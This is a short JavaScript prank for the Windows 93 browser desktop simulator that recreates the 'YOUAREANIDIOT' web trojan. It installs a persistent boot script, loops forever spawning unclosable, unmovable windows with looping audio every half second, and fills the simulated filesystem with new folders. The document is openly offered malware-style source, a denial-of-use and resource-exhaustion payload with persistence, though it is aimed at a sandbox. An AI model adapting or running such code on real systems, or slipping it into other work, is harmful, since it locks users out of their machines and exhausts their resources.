YOU ARE AN IDIOT

A javascript script for Windows 93 that replicates the original web trojan "YOUAREANIDIOT"

/*
  made by coolkase for windows93.net

  This work is licensed under a Creative Commons Attribution 4.0 International License.
*/

function createFile(dir, content, isfile) {
	if (isfile) {
    	 $store.set(dir, content);
    } else {
    	 $store.set(dir);
    }
}

function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

async function idiloop() {
  for (var i = 0; i < Infinity; i++) {
    await sleep(500)
    $file.open("/a/YOUAREANIDIOT/idiot.js", "String", (e) => eval(e))
    $file.save('/a/YOUAREANIDIOT'+i+'/', '')
  }
}

const htmlsource = `
<!-- the source code -->
<img style="display: block;-webkit-user-select: none;margin: auto;background-color: hsl(0, 0%, 90%);" src="https://media.tenor.com/W9t4G8la9w4AAAAC/you-are-idiot.gif" height=300 width=370>
<audio autoplay loop>
  <source src="https://www.dropbox.com/s/5vmxhftjq1oeg2t/YOU%20ARE%20AN%20IDIOT.mp3?dl=1" type="audio/mpeg">
</audio>
`

const jssource = `
$file.getUrl("/a/YOUAREANIDIOT/idiot.html",function(blob){
    $window({
        url: blob,
        title: "YOU ARE AN IDIOT",
      	icon: '/c/sys/img/logo32.png',
        width: 390,
        height: 320,
      	resizable: false,
      	maximizable: false,
      	minimizable: false,
      	draggable: false,
      	closable: false
    })
})
`

const jssource2 = `
function sleep(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

async function boot() {
  for (var i = 0; i < Infinity; i++) {
    await sleep(500)
    $file.open("/a/YOUAREANIDIOT/idiot.js", "String", (e) => eval(e))
    $file.save('/a/YOUAREANIDIOT'+i+'/', '')
  }
}

boot()
`

$file.save('/a/YOUAREANIDIOT/')
$file.save('/a/YOUAREANIDIOT/idiot.html', htmlsource)
$file.save('/a/YOUAREANIDIOT/idiot.js', jssource)
$file.save('/a/boot/system42.js', jssource2)

$confirm('ARE YOU AN IDIOT?', function (ok){
  if (ok) {
    $alert("RIGHT!", function(){
      idiloop()
    });
  } else {
    $alert("WRONG!", function(){
    	idiloop()
    });
  }
});